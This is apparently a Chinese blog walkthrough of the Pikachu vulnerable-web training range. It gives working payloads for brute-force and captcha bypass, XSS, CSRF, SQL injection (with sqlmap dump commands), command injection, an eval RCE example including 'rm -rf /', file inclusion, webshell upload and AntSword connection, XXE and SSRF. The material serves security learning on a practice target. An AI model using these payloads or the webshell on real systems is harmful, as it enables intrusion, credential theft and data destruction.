基于表单的暴力破解
首先我们随便写一个用户名个密码,然后点击登录,同时进行抓包
然后发送到爆破模块
添加payload位置,然后把字典放进去进行爆破
开始攻击
admin 123456 登录成功
验证码绕过(on server)
发现只要页面不刷新验证码就不会刷新,那么利用这个的话,用bp抓包爆破用户名和密码,但是验证码确没有改变,就可以成功登录。试一下。
然后跟上一关一样开始爆破用户名和密码
跟上一关是一样的
验证码绕过(on client)
这里我们发现输入错误的验证码时是js,也就是前段,前端是不能完全去验证你的验证码的,我们禁用js,就可以绕过验证码错误这种问题。然后用bp抓包爆破密码和用户名就可以成功登录。
首先,禁用js
直接f12,再f1,点击禁用js
这时我们就绕过了验证码的正误问题。
bp抓包,步骤和前两关一样,用户名和密码依然一样
完事记得关掉禁用js
token防爆破?
肯定和token有关
先来了解一下什么是token
- 这是一种用于验证用户身份的凭据。它就像是一把数字钥匙,当用户登录系统后,系统会为用户生成一个 token,这个 token 包含了用户的相关信息(如用户 ID、权限级别等),并且经过加密处理。之后用户在访问系统的其他受保护资源时,只要带上这个 token,系统就能识别用户身份并确定用户是否有权限进行访问。例如,在一个基于 Web 的应用程序中,用户登录后,服务器会生成一个 JSON Web Token(JWT)发送给客户端。客户端在后续向服务器请求数据(如获取用户的个人资料、进行交易等)时,会在请求头中带上这个 JWT,服务器通过验证 JWT 的有效性来允许或拒绝请求。
先抓包,这里添加payload的位置是password和token
payload类型要选择Pitchfork
然后第一个位置和前面一样,正常放入字典就好了
第二个:
先找到Grep-Extract,点击add,然后点击中间右边的按钮,在下面搜索token,然后选中token,点击ok。
这里选择payload类型为下面这个,然后将我们复制的token(上图那个,每个人不一样)复制到下面。
如果点击开始攻击时发现报错
来到资源池,创建新的资源池,把最大请求改为1
然后开始攻击
登录成功。
反射型xss(get)
先构造payload
<script>alert('xss')</script>
//alert输出括号里面的内容可以修改成为你自己想弹出的内容
然后发现还没输入完就无法输入了,这是因为输入的长度被限制了
打开f12,修改输入长度,这里看到最大输入长度只能是20
我们把它改大一点,记得不能刷新,刷新长度会恢复原有的设置,就在该界面下继续输入payload
成功
反射性xss(post)
由于在之前暴力破解的时候获得了用户名和密码,所以我们直接用之前获得的进行登录
再试着用payload,成功。
存储型xss
直接上payload,成功
那为何是存储型xss,点击上面的弹窗,发现还会出现一个弹窗,这说明我们输入的数据被存储起来了,这就是存储型xss
DOM型xss
这时候发现输入之前的payload不对了
查看源码发现有一个单引号,要将它闭合
payload
'onclick=alert('xss')>
这样这句活就成了
<a href='' onclick=alert('xss')>'>what do you see?</a>
输入payload的后点击输入框下面的超链接,触发xss
DOM型xss-x
跟上一关一样,同样输入后点击输入框下面的超链接触发xss(两次都点击第一句话)
xss盲打
查看源码
在源码里面看到这个提示,访问看看
直接登录
意思也就是说我们在前面执行的xss代码,在前端并不能看到,但是可以在后台看到xss是否执行成功,这也就是xss盲打
我们退出登录,并且输入payload
<script>alert('xss')</script>
提交完成之后,我们再登录看是否执行成功
xss之过滤
当我提交<script>alert('xss')</script>时
然后以为是因为没有找到正确的闭合方式,所以我提交了'<script>alert('xss')</script><'
发现不是闭合方式不对,而是被过滤了,只剩下''><'',是script标签被过滤了
用其他方式绕过
<a href="" onclick="alert('xss')">
xss之htmlspecialchars
尝试输入之前的payload
查看源码
payload
' onclick='alert("xss")
xss之href输出
他说请输入一个常用的url地址。
输入payload : javascript:alert("xss")
javascript:这是一个伪协议,用于在浏览器中执行JavaScript代码。当浏览器遇到以 javascript:
开头的URL时,会尝试执行后面的JavaScript代码。
alert:是一个弹出警告框的函数,xss则是警告框弹出的内容。
xss之js输出
提示说叫我们试一下tmac
尝试一下以前的payload
<script>alert('xss')</script>
查看源码发现script标签闭合有问题
我们要闭合掉第一个script标签,所以我们输入payload
</script><script>alert('xss')</script>
CSRF(get)
看一下提示
这时我们随便登录一个账号
然后点击修改个人信息,在提交的时候用bp进行抓包。
点击操作,生成一个CSRF的poc
我们可以修改其中的信息,然后用浏览器测试
复制该链接,并在浏览器中打开。
点击提交
发现allen的信息被成功修改。
CSRF(POST)
这一关与get型操作方式相同。
同样提交的时候用bp进行拦截
然后生成一个恶意链接
放入浏览器中进行测试
修改成功
CSRF(Token)
token验证是无法伪造url来修改信息的,后台会验证我们提交的token和服务器中的token
SQL-数字型注入(post)
首先查询我们用bp抓包
接着发送到repeater
我们先输入 and 1=1,发现没有报错
我们再输入and 1=2,发现报错,
所以我们判断是数字型注入,不需要闭合符
接下来我们使用order by来判断可以显示的列
当查询字段数为2时,页面正常显示
字段数为3时,报错,说明只有两列
判断每列显示的位置,payload:
id=-2 union select 1,2
接下来查询数据库和数据库版本
id=-2 union select database(),version()
查询所有表
id=-2 union select group_concat(table_name),2 from
information_schema.tables where table_schema='pikachu'
查询users表中所有列
id=-2 union select group_concat(column_name),2 from
information_schema.columns where table_schema='pikachu' and table_name='users'
查询用户名和密码
id=-2 union select group_concat(username),group_concat(password) from users
然后将密码进行md5解密
SQL-字符型注入(get)
我们发现输入1' 报错
所以猜测闭合符为单引号 '
试一下万能密码
' or '1'='1
查询表和数据库,这一关可以直接在url中进行
1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+&submit=查询
查询users表中的所有列
1' union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users' --+&submit=查询
查询用户名和密码
1' union select group_concat(username),group_concat(password) from users--+&submit=查询
同样用md5解密
密码是一样的
SQL-搜索型注入
需要使用sqlmap
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_search.php?name=kobe&submit=%E6%90%9C%E7%B4%A2"
探测出注入点和数据库类型及版本
接着爆库
--dbs:爆出所有数据库 sqlmap -u URL --dbs
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_search.php?name=kobe&submit=%E6%90%9C%E7%B4%A2" --dbs
报表
--tables:爆出所有数据表 sqlmap -u URL -D 数据库名 --tables
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_search.php?name=kobe&submit=%E6%90%9C%E7%B4%A2" -D "pikachu" --tables
爆字段名
爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 --columns
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_search.php?name=kobe&submit=%E6%90%9C%E7%B4%A2" -D "pikachu" -T "users" --columns
爆数据
爆出数据库中列中的所有数据 sqlmap -u URL -D 数据库名 -T 表名 -C 列名 --dump
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_search.php?name=kobe&submit=%E6%90%9C%E7%B4%A2" -D "pikachu" -T "users" -C "username,password" --dump
SQL-xx型注入
同样用sqlmap
爆数据库
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_x.php?name=lili&submit=%E6%9F%A5%E8%AF%A2" --dbs
爆表
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_x.php?name=lili&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" --tables
爆字段
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_x.php?name=lili&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" -T "users" --columns
爆数据
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_x.php?name=lili&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" -T "users" -C "username,password" --dump
SQL-"insert/updata"注入
(报错注入)
在注册账号时进行抓包
这里发现闭合符为单引号
查询数据库
username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'
解释一下updatexml函数
UPDATEXML(XML_document, XPath_string, new_value)
若 XPath_string
格式非法,MySQL会抛出错误,并在错误信息中返回非法内容。
构造XPath 非法途径:
0x7e
:十六进制的 ~
符号(通常用于分隔敏感数据)。
(select database())
:获取当前数据库名称。
最终生成的XPath路径形如 ~database_name~
,因包含 ~
导致XPath语法错误.
所以最终会报错如下:
XPATH syntax error: '~database_name~'
这时候就可以获取数据库名称
查询所有表,这里核心是一样的
username=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and'
查字段名
username=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) and'
查数据
username=1'and updatexml(1,concat(0x7e,substr((select group_concat(id,':',username,':',password) from users),1,31),0x7e),1) and'
因UPDATEXML
错误回显长度有限,通常限制为32字符,所以用substr 函数来回显全部数据
通过改变substr函数的长度可以回显一次性看不到的数据
SQL-delete注入
提示我们删除的时候好像有点问题
因此在删除时进行抓包
这一关空格被编译了,为了绕过编译,把空格替换为+
?id=60+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)
这个函数与上一个报错注入用法相同
查数据库
查表
?id=60+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1
查字段名
?id=60+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='users'),0x7e),1)
查数据
?id=60+and+updatexml(1,concat(0x7e,substr((select+group_concat(id,':',username,':',password)+from+users),1,31),0x7e),1)
跟上一关很相似
SQL-http头注入
先用他告诉你的用户名和密码进行登录
接着我们退出,用bp抓包
我们放掉第一个包
把第二个包留下
对UA头进行报错注入
查数据库
User-Agent: 1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
查表
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or'
查字段
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) and'
查数据
1'and updatexml(1,concat(0x7e,substr((select group_concat(id,':',username,':',password) from users),1,31),0x7e),1) and'
SQL-基于boolian的盲注
这里直接用sqlmap 直接扫
扫数据库
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=admin&submit=%E6%9F%A5%E8%AF%A2#" --dbs
爆表
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=admin&submit=%E6%9F%A5%E8%AF%A2#" -D "pikachu" --tables
爆字段
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=admin&submit=%E6%9F%A5%E8%AF%A2#" -D "pikachu" -T "users" --colu
mn
由于太慢了,这里扫出username和password之后就开始直接爆数据
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=admin&submit=%E6%9F%A5%E8%AF%A2#" -D "pikachu" -T "users" -C "username,password" --dump
SQL-基于时间的盲注
直接用sqlmap 跑起来
数据库
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_t.php?name=&submit=%E6%9F%A5%E8%AF%A2#" --dbs
爆表
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_t.php?name=&submit=%E6%9F%A5%E8%AF%A2#" -D "pikachu" --tables
这里由于和前几关操作一样,就直接爆数据库
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_t.php?name=&submit=%E6%9F%A5%E8%AF%A2#" -D "pikachu" -T "users" -C "username,password" --dump
SQL-wide byte注入
宽字节注入(Wide Character SQL Injection)是一种利用数据库字符集多字节编码特性绕过转义机制的SQL注入攻击方式,常见于使用GBK、BIG5等多字节字符集的应用系统中。其核心是通过构造特殊字符序列,使数据库将转义符(如反斜杠
\
)与用户输入合并解析为一个合法字符,从而绕过过滤机制。
首先我们随便查询, 然后用bp进行抓包
然后我们构造payload,查询数据库
name=1%df' union select version(),database() --+
这里解释一下这个payload 的含义
核心就是%df' 会使反斜杠\ 被吞并,使单引号 ' 生效,以闭合原来的语句,让我们构造的sql语句生效
查表
name=1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查字段名
这时候如果直接输入'users',会因为这里的引号而报错,所以用16进制编码绕过
name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+
爆数据
name=1%df' union select group_concat(username),group_concat(password) from pikachu.users --+
RCE-exec "ping"
先ping下本地 127.0.0.1
然后使用管道符 | 查看c盘试一试
127.0.0.1 | dir C:
RCE-exec "eval"
简单介绍一下eval函数的功能
eval
函数的功能
定义:
eval
的作用是将字符串作为代码解析并执行。
例如在 PHP 中:
eval("echo 'Hello World';");
会输出Hello World
。在 Python 中:
eval("print('Hello World')")
也会执行打印操作。动态性:开发者可以通过
eval
动态生成和执行代码,灵活性极高。
eval
如何导致 RCE 漏洞?当用户输入的未经验证或过滤的数据直接传递给
eval
函数时,攻击者可以构造恶意字符串注入任意代码,从而实现 远程代码执行。攻击示例(以 PHP 为例):
// 漏洞代码:直接执行用户输入的参数 $input = $_GET['cmd']; eval($input);
攻击者通过 URL 传入参数:
?cmd=system("whoami");
eval
会执行system("whoami");
,返回当前服务器的用户权限(如www-data
)。进一步可执行任意命令:
?cmd=system("rm -rf /");
(删除服务器文件)。
这一关我们直接输入phpinfo(); 就被执行了
文件包含-本地文件包含
先随便查询一下
可以尝试修改文件名
读取本地文件
?filename=C:/../../../../Windows\win.ini&submit=提交查询
先来了解一下这段payload
../
的作用:每个../
表示返回上级目录。通过多次使用../../../../
,攻击者试图从当前目录回退到根目录(如C:\
),再进入Windows
目录。绕过目录限制:如果应用程序未对用户输入进行规范化处理,攻击者可通过路径遍历跳出受限制的目录(如Web根目录),访问系统敏感文件。
win.ini
文件:这是Windows早期版本的配置文件,现代系统中仍保留此文件(通常位于C:\Windows\win.ini
),内容可能包含部分系统信息。攻击者通过读取此文件验证漏洞是否利用成功。
文件包含-远程文件包含
同样先随便查询
这一关我们可以访问远程服务器的文件,比如百度
首先我们在D盘写一个一句话木马
<?php @eval($_POST['cmd']); ?>
然后在终端运行
了解一下这段命令
python3
:显式调用 Python 3 解释器(在 Windows 中可能需要直接使用python
命令)。
-m http.server
:运行 Python 内置的http.server
模块,将其作为一个简易的 HTTP 服务器。
8000
:指定服务器监听 8000 端口(如果省略端口号,默认使用 8000)
也就是说,这里我们开启了一个简易的http服务器,服务器地址是本机地址的8000端口
我们可以访问该地址
接着可以试着用蚁剑连接。
Unsafe filedownload 不安全的文件下载
上面说点击球员名字就可下载图像
这里我们也下载一个
然后修改文件名
http://pikachu/vul/unsafedownload/execdownload.php?filename=../../../index.php
就下载了index.php
unsafe fileupload 客户端check
尝试直接上传一句话木马,发现不允许
查看源码
那就禁用js 我用的是火狐浏览器,禁用js先f12 再f1
再上传一句话木马
用蚁剑连接成功。
unsafe fileupload服务端check
我们直接用bp抓包 发送到repeater模块 把文件类型改为 image/jpg
显示上传成功
用蚁剑连接
连接成功。
unsafe fileupload getimagesize()
这一关我们用图片码
copy muma.jpg/b + muma.php/a imagemuma.jpg
参考这一篇博客
upload-labs 靶场通关详解_upload靶场通关-优快云博客
有了图片马之后直接上传就好了
蚁剑
连接成功。这里连接的php文件依然是muma.php。
Over Permission 水平越权
先随便登录一个
可以修改url 上的名字实现水平越权
Over Permission 垂直越权
这里有普通用户和超级用户,超级用户有添加功能。
我们先登录超级用户
把添加用户的URL复制下来
然后退出超级用户,用pikachu 登录
粘贴我们之前复制的添加用户的URL
有hi,pikachu 说明成功了,接着我们添加一个用户 ,创建后用admin用户登录看是否成功。
创建成功,实现垂直越权。
../../ 目录遍历
先随便看一下
然后修改参数后的文件路径和文件名
?title=C:../../../../../../windows\win.ini
这么多层目录是为了能够确保无论基础目录层级多深,都能跳转带根目录,而 \windows\win.ini
是Windows的经典系统文件路径。
敏感信息泄露 IcanseeyourABC
查看源码发现有一个测试账户
登录
PHP反序列化
题目中概述给了一段payload
也可以获取cookie
<?php
class S{
var $test="<script>alert(document.cookie)</script>";
}
$a=new S();
echo serialize($a)
?>
XXE漏洞
XXE漏洞的实现原理
XML允许在文档中通过
<!ENTITY>
定义实体(变量),而外部实体(External Entity)可以引用本地文件、远程URL等资源。当XML解析器未禁用外部实体解析时,攻击者可通过构造恶意XML内容,实现攻击。
payload,直接在数据框中提交
<?xml version="1.0"?>
<!DOCTYPE ANY [ //方括号 [...] 内定义了实体(Entity)
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> //定义一个名为 xxe 的外部实体。
<a>&xxe;</a> //SYSTEM 表示该实体的内容来自外部资源。
//file:///c:/windows/win.ini 指定实体内容为本地文件 C:\windows\win.ini
//在XML元素 <a> 中引用之前定义的实体 xxe,格式为 &xxe;
//当XML解析器处理该文档时,会将 &xxe; 替换为 file:///c:/windows/win.ini 文件的内容。
成功读取win.ini 文件
URL重定向 不安全的url跳转
把这几个超链接都点一点 ,发现最后一个URL出现了参数
我们访问pikachu 试一下
?url=http://pikachu.com
成功跳转
SSRF(curl)
然后点这个链接,我点进去是报错的。
这里基本就是两种问题,第一个是前面pikachu地址的问题,然后就是url参数的问题。我把url的参数改正确了就可以正常访问了。
先找到pikachu靶场文件中Info1.php 文件的正确路径
然后进行修改(我访问pikachu是直接访问pikachu而不是127.0.0.1,所以我这里也要改一下)
正常访问
然后访问本机文件就成功实现了
SSRF(file_get_content)
这个链接我点进去的时候同样是报错,像上一关一样修改参数就好了
这一关也可以读取文件,但是要使用php伪协议。
?file=php://filter/read=convert.base64-encode/resource=c:../../../windows/win.ini
这个用base64解码就行了。
这篇博客可参考pikachu靶场全15关通过教程-优快云博客